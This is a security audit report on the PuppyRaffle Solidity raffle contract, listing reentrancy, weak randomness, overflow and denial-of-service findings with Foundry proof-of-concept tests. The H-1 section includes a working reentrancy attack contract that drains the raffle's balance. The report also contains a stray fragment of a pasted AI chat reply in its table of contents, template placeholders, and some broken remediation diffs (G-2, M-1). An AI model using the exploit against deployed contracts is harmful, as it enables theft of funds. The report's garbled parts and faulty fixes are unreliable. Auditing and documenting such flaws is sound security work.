
Puppy Raffle audit

Tim



May 4, 2026

Contents

Puppy Raffle audit	3
Table of Contents	3
[H-2] Weak randomness in puppyRaffle selectWinner allows user to influence or predict winner	4
[H-3] Integer overflow of PuppyRaffle totalFees loses fees	4
[M-1] Looping through players array is a potential denial of service attack	4
[M-2] Smart contract wallet raffle winners without receive or fallback will block new contest	4
Disclaimer	4
Risk Classification	4
Audit Details	5
Scope	5
Roles	5
Executive Summary	5
Issues found	5
Findings	6
[H-1] Reentrancy attack in PuppyRaffle Refund allows entrant to drain raffle balance .	6
[H-2] Weak randomness in puppyRaffle selectWinner allows user to influence or predict winner	8
[H-3] Integer overflow of PuppyRaffle totalFees loses fees	9
[M-1] Looping through the players array to check for duplicates in puppyRaffle::enterRaffle is a potential denial of service (DOS) attack. incrementing gas cost for future entrant.	10
[M-2] Smart contract wallet raffle winners without receive or fallback will block new contest	13
Low	13
[L-1] puppyRaffle::getActivePlayer returns for non existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle	13

Gas	14
[G-1] unchanged state variable should be declared constant or immutable	14
[G-2] storage variable in a diff should be cached	14
[I]: Unspecific Solidity Pragma	14
[I-2]: Using an outdated versin of solidity is not recommended	15
[I-3]: Address State Variable Set Without Checks	15
[I-4] puppyRaffle::selectWinner should follow CEI	15
[I-5] Use of “magic” numbers is discouraged	16
[I-6] PuppyRaffle::_isActivePlayer is never used ,Remove dead codes . . .	16

Puppy Raffle audit

Prepared by: Tim

Lead Auditor: Tim

Assisting Auditors: None

Date: May 4, 2026

Version: 1.0

Table of Contents

- [Puppy Raffle audit](#)
- [Table of Contents](#)
- [Protocol Summary](#)
- [Disclaimer](#)
- [Risk Classification](#)
- [Audit Details](#)
 - [Scope](#)
 - [Roles](#)
- [Executive Summary](#)
 - [Issues found](#)
- [Findings](#)
- [H-1 Reentrancy attack in PuppyRaffle Refund allows entrant to drain raffle balance](#)
- [H-2 Weak randomness in puppyRaffle selectWinner allows user to influence or predict winner](#)
- [H-3 Integer overflow of PuppyRaffle totalFees loses fees](#)
- [M-1 Looping through players array is a potential denial of service attack](#)
- [M-2 Smart contract wallet raffle winners without receive or fallback will block new contest](#)
- [L-1 getActivePlayerIndex returns 0 for nonexistent players and players at index 0](#)
- [G-1 Unchanged state variables should be declared constant or immutable](#)
- [G-2 Storage variable in loop should be cached](#)
- [I-1 Unspecific Solidity pragma](#)
- [I-2 Using an outdated version of Solidity is not recommended](#)
- [I-3 Address state variable set without checks](#)
- [I-4 puppyRaffle selectWinner should follow CEI](#)

- [I-5 Use of magic numbers is discouraged](#)
- [I-6 PuppyRaffle isActivePlayer is never used remove dead code](#) Then update your headings to match exactly. For example:

markdown ### [H-1]

[H-2] Weak randomness in puppyRaffle selectWinner allows user to influence or predict winner

[H-3] Integer overflow of PuppyRaffle totalFees loses fees

[M-1] Looping through players array is a potential denial of service attack

[M-2] Smart contract wallet raffle winners without receive or fallback will block new contest

The key rules to remember:

No backticks in headings used as link targets No :: colons — remove them or replace with a space
The anchor is auto-generated from the heading text, so heading and link must match exactly after lowercasing and replacing spaces with -

Want to be notified when Claude responds? # Protocol Summary

Protocol does X, Y, Z

Disclaimer

The team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

Impact			
	High	Medium	Low
High	H	H/M	M

Impact				
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the [CodeHawks](#) severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

Roles

- **Owner:** The delyer f cntract.
- **Outsiders:** .

Executive Summary

No analytic package was used for this audit.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
gas	2
Informational	6
Total	13

Findings

[H-1] Reentrancy attack in PuppyRaffle Refund allows entrant to drain raffle balance

Description the `PuppyRaffle::refund` does not follow CEI (Checks, effect, interactions) and as a result enables participants to drain the contract balance

in the `PuppyRaffle::refund` we first make an external call to the `msg.sender` address and only after making this call do we update the `PuppyRaffle::players` array

```
1  function refund(uint256 playerId) public {
2      address playerAddress = players[playerId];
3      require(
4          playerAddress == msg.sender,
5          "PuppyRaffle: Only the player can refund"
6      );
7      require(
8          playerAddress != address(0),
9          "PuppyRaffle: Player already refunded, or is not active"
10     );
11
12     @> payable(msg.sender).sendValue(entranceFee);
13     @> players[playerId] = address(0);
14     emit RaffleRefunded(playerAddress);
15 }
```

A player who have entered the raffle could have a `fallback/receive` function that call the `puppyRaffle::Refund` again and again. they could continue cycle till the balance is drained

impact all fees paid by the raffle entrants could be drained by the malicious participant

Proof of Concept

1. user enters the raffle
2. attacker sets up a contract with a `fallback` function that call `puppyRaffle::refund`
3. attacker enters the raffle
4. Attacker calls `puppyRaffle::refund` from their attack contract ,draining the contract balance .

Code

place the following into `PuppyRAffle.t.sol`

```
1  function testReentrancy() public {
2      address[] memory players = new address[] (4);
3      players[0] = playerOne;
4      players[1] = playerTwo;
5      players[2] = playerThree;
```

```

6      players[3] = playerFour;
7      puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9      ReentrancyAttack attackerContract = new ReentrancyAttack(
10         puppyRaffle);
11      address attackUser = makeAddr("attackUser");
12      vm.deal(attackUser, 1 ether);
13
14      uint256 startingAttackerContract = address(attackerContract).
15         balance;
16      uint256 startingContractBalance = address(puppyRaffle).balance;
17
18      //attack
19      vm.prank(attackUser);
20      attackerContract.attack{value: entranceFee}();
21
22      console.log("starting attacker balance :",
23         startingAttackerContract);
24      console.log("starting Contract balance :",
25         startingContractBalance);
26
27      console.log(
28         "ending AttackerContract balance :",
29         address(attackerContract).balance
30     );
31      console.log("ending Contract balance :", address(puppyRaffle).
32         balance);
33
34 }

```

and this contract as well

```

1  contract ReentrancyAttack {
2      PuppyRaffle public puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackersindex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() public payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         attackersindex = puppyRaffle.getActivePlayerIndex(address(this)
16             );
17         puppyRaffle.refund(attackersindex);
18     }
19
20     function _stealMoney() internal {

```



```
20     if (address(puppyRaffle).balance >= entranceFee) {
21         puppyRaffle.refund(attackersindex);
22     }
23 }
24
25 receive() external payable {
26     _stealMoney();
27 }
28
29 fallback() external payable {
30     _stealMoney();
31 }
32 }
```

Recommended Mitigation To prevent this, we should have `PuppyRaffle::Refund` function update the `players` array before making external calls. additionally we should move the event emission up as well.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(
4          playerAddress == msg.sender,
5          "PuppyRaffle: Only the player can refund"
6      );
7      require(
8          playerAddress != address(0),
9          "PuppyRaffle: Player already refunded, or is not active"
10     );
11
12 +     players[playerIndex] = address(0);
13 +     emit RaffleRefunded(playerAddress);
14 +     payable(msg.sender).sendValue(entranceFee);
15 -     payable(msg.sender).sendValue(entranceFee);
16 -     players[playerIndex] = address(0);
17 }
```

[H-2] Weak randomness in puppyRaffle selectWinner allows user to influence or predict winner

Description: Hashing `msg.sender`, `blk.timestamp` and `block.difficulty` together creates a predictable find number. a predictable find number is not a good random number. malicious user can manipulate these values or know them ahead of time to choose winner for themselves.

Impact: any user can influence the raffle, winning the money and selecting the `rarest` puppy. making the raffle worthless if it becomes a gas war, as to who wins the raffle.

Proof of Concept:

1. validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. see the [solidity blog on prevrando] (<https://soliditydeveloper.com/prevrando>). `block.difficulty` was recently replaced with the prevrando.
2. user can manipulate their `msg.sender` value to result in their address being used to generate the winner
3. users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy

Using on-chain values as a randomness seed is a [well-documented attack vector](#) in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as [Chainlink VRF](#)

[H-3] Integer overflow of PuppyRaffle totalFees loses fees

Description: In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1  uint64 myVar = type(uint64).max
2  // 18446744073709551615
3  myVar = myVar + 1
4  // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of concept

code

```
1  function testoverflow() public playersEntered {
2      vm.warp(block.timestamp + duration + 1);
3      vm.roll(block.number + 1);
4      puppyRaffle.selectWinner();
5      uint256 startingFee = puppyRaffle.totalFees();
6
7      uint256 playersNum = 90;
8      address[] memory players = new address[](playersNum);
9
10     for (uint256 i = 0; i < playersNum; i++) {
11         players[i] = address(i);
```

```
12     }
13     puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
        players);
14
15     vm.warp(block.timestamp + duration + 1);
16     vm.roll(block.number + 1);
17     puppyRaffle.selectWinner();
18
19     uint256 EndingFee = puppyRaffle.totalFees();
20     console.log("endingFee:", EndingFee);
21     assert(EndingFee < startingFee);
22 }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.
- 2.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's [SafeMath](#) to prevent integer overflows.

1. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

2. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

[M-1] Looping through the players array to check for duplicates in `puppyRaffle::enterRaffle` is a potential denial of service (DOS) attack. incrementing gas cost for future entrant.

Description: the `puppyRaffle::enterRaffle` function loops through the `player` array to check for duplicates. however the longer the `players` array the ,the more check a new player will make .this mens that the gass cost of player who enter right when the raffle starts will be dramatically

lower than those that enter later. every additional address in the `players` array is an additional check the loop will have to make.

```
1 // @audit DOS attack
2 @> for (uint256 i = 0; i < players.length - 1; i++) {
3     for (uint256 j = i + 1; j < players.length; j++) {
4         require(
5             players[i] != players[j],
6             "PuppyRaffle: Duplicate player"
7         );
8     }
9 }
```

Impact:

the gas cost for the raffle entrants will greatly increase as more players enter the raffle. discouraging later user from entering the raffle thereby causing a rush at the start of the raffle to be among the first entrant at the queue

an attacker might make the `puppyraffle::enterRaffle` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept: if we have 2 sets of 100 players enter the raffle the gas cost will be as such: - first 100 players : 6252048 - second 100 players : 18068138

POC

```
1 function testCanCauseDos() public {
2     vm.txGasPrice(1);
3     uint256 size = 100;
4     address[] memory players = new address[](size);
5     for (uint256 i = 0; i < players.length; i++) {
6         players[i] = address(i);
7         // players[i] = address(uint160(i + 1));
8     }
9     // vm.expectRevert();
10    uint256 gasstart = gasleft();
11    // puppyRaffle.enterRaffle{value: entranceFee * size}(players);
12    puppyRaffle.enterRaffle{value: entranceFee * size}(players);
13    uint256 gasEnd = gasleft();
14
15    uint256 first = (gasstart - gasEnd);
16    console.log("gas cost:", first);
17
18    //second players
19
20    address[] memory players2 = new address[](size);
21    for (uint256 i = 0; i < players.length; i++) {
22        players2[i] = address(i + size);
23    }
24    uint256 gasStart = gasleft();
```

```
25     puppyRaffle.enterRaffle{value: entranceFee * size}(players2);
26     uint256 gasend = gasleft();
27     uint256 second = (gasStart - gasend);
28     console.log("gas cost:", second);
29     assert(first < second);
30 }
```

this is almost three time the first

Recommended Mitigation: theres a few recommendation

1. consider allowing duplicates.users can mke new wallet address anyways so duplicates check doesn't prevent the same person from entering multiple times,only the same wallet address.
2. consider using a mapping to check for duplicates.this would allow constant time lookup of wether a user hasa already enteref the raffle.

```
1 + uint256 public raffleID;
2 + mapping (address => uint256) public usersToRaffleId;
3 .
4 .
5     function enterRaffle(address[] memory newPlayers) public payable {
6         require(msg.value == entranceFee * newPlayers.length, "
7             PuppyRaffle: Must send enough to enter raffle");
8
9         for (uint256 i = 0; i < newPlayers.length; i++) {
10 +             // Check for duplicates
11 +             require(usersToRaffleId[newPlayers[i]] != raffleID, "
12 +                 PuppyRaffle: Already a participant");
13
14             players.push(newPlayers[i]);
15             usersToRaffleId[newPlayers[i]] = raffleID;
16         }
17
18         // Check for duplicates
19         for (uint256 i = 0; i < players.length - 1; i++) {
20             for (uint256 j = i + 1; j < players.length; j++) {
21                 require(players[i] != players[j], "PuppyRaffle:
22                 Duplicate player");
23             }
24         }
25
26         emit RaffleEnter(newPlayers);
27     }
28
29 function selectWinner() external {
30     //Existing code
31 +     raffleID = raffleID + 1;
```

```
32     }
```

[M-2] Smart contract wallet raffle winners without receive or fallback will block new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] puppyRaffle::getActivePlayer returns for non existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description if a player is in the `puppyRaffle::getActivePlayer` array at index 0, this will return 0, but according to the natspec , it will return alsooo return 0 if the player is not in the array

```
1  function getActivePlayerIndex(  
2      address player  
3  ) external view returns (uint256) {  
4      for (uint256 i = 0; i < players.length; i++) {  
5          if (players[i] == player) {  
6              return i;  
7          }  
8      }  
9      return 0;  
10 }
```

impact a player at index 0 may think they have incorrectly entered the contract and will try reentering thereby wasting gas

Proof of concept 1. user enters raffle, they are the first entrant 2. `puppyRaffle::getActivePlayer` returns 0 3. user thinks they have incorrectly entered the raffle

Recommended Mitigation the easiest recommendation is to revert if the player is not in the array instead of returning 0.

Gas

[G-1] unchanged state variable should be declared constant or immutable

Reading from storage is more expensive than reading from constant and immutables.

instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] storage variable in a diff should be cached

everytime you call `players.length` you read from storage as opposed to memory which is gas efficient

```
1 + uint256 playersLength = players.length
2 - for (uint256 i = 0; i < players.length - 1; i++) {
3 + for (uint256 i = 0; i < players.length - 1; i++) {
4 -     for (uint256 j = i + 1; j < players.length; j++) {
5 +     for (uint256 j = i + 1; j < players.length; j++) {
6         require(
7             players[i] != players[j],
8             "PuppyRaffle: Duplicate player"
9         );
10     }
11 }
```

[I]: Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol [Line: 2](#)

```
1  pragma solidity ^0.7.6;
```

[I-2]: Using an outdated versin of solidity is not recommended

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

please see [slither](#) for more information.

[I-3]: Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol [Line: 69](#)

```
1      feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol [Line: 205](#)

```
1      feeAddress = newFeeAddress;
```

[I-4] puppyRaffle::selectWinner should follow CEI

```
1 - (bool success, ) = winner.call{value: prizePool}("");
2 -     require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
3     _safeMint(winner, tokenId);
4 + (bool success, ) = winner.call{value: prizePool}("");
5 +     require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
```


[I-5] Use of “magic” numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1  uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2  uint256 public constant FEE_PERCENTAGE = 20;
3  uint256 public constant POOL_PRECISION = 100;
4
5  uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
    / POOL_PRECISION;
6  uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
    POOL_PRECISION;
```

[I-6] PuppyRaffle::_isActivePlayer is never used ,Remove dead codes

```
1  function _isActivePlayer() internal view returns (bool) {
2      for (uint256 i = 0; i < players.length; i++) {
3          if (players[i] == msg.sender) {
4              return true;
5          }
6      }
7      return false;
8  }
```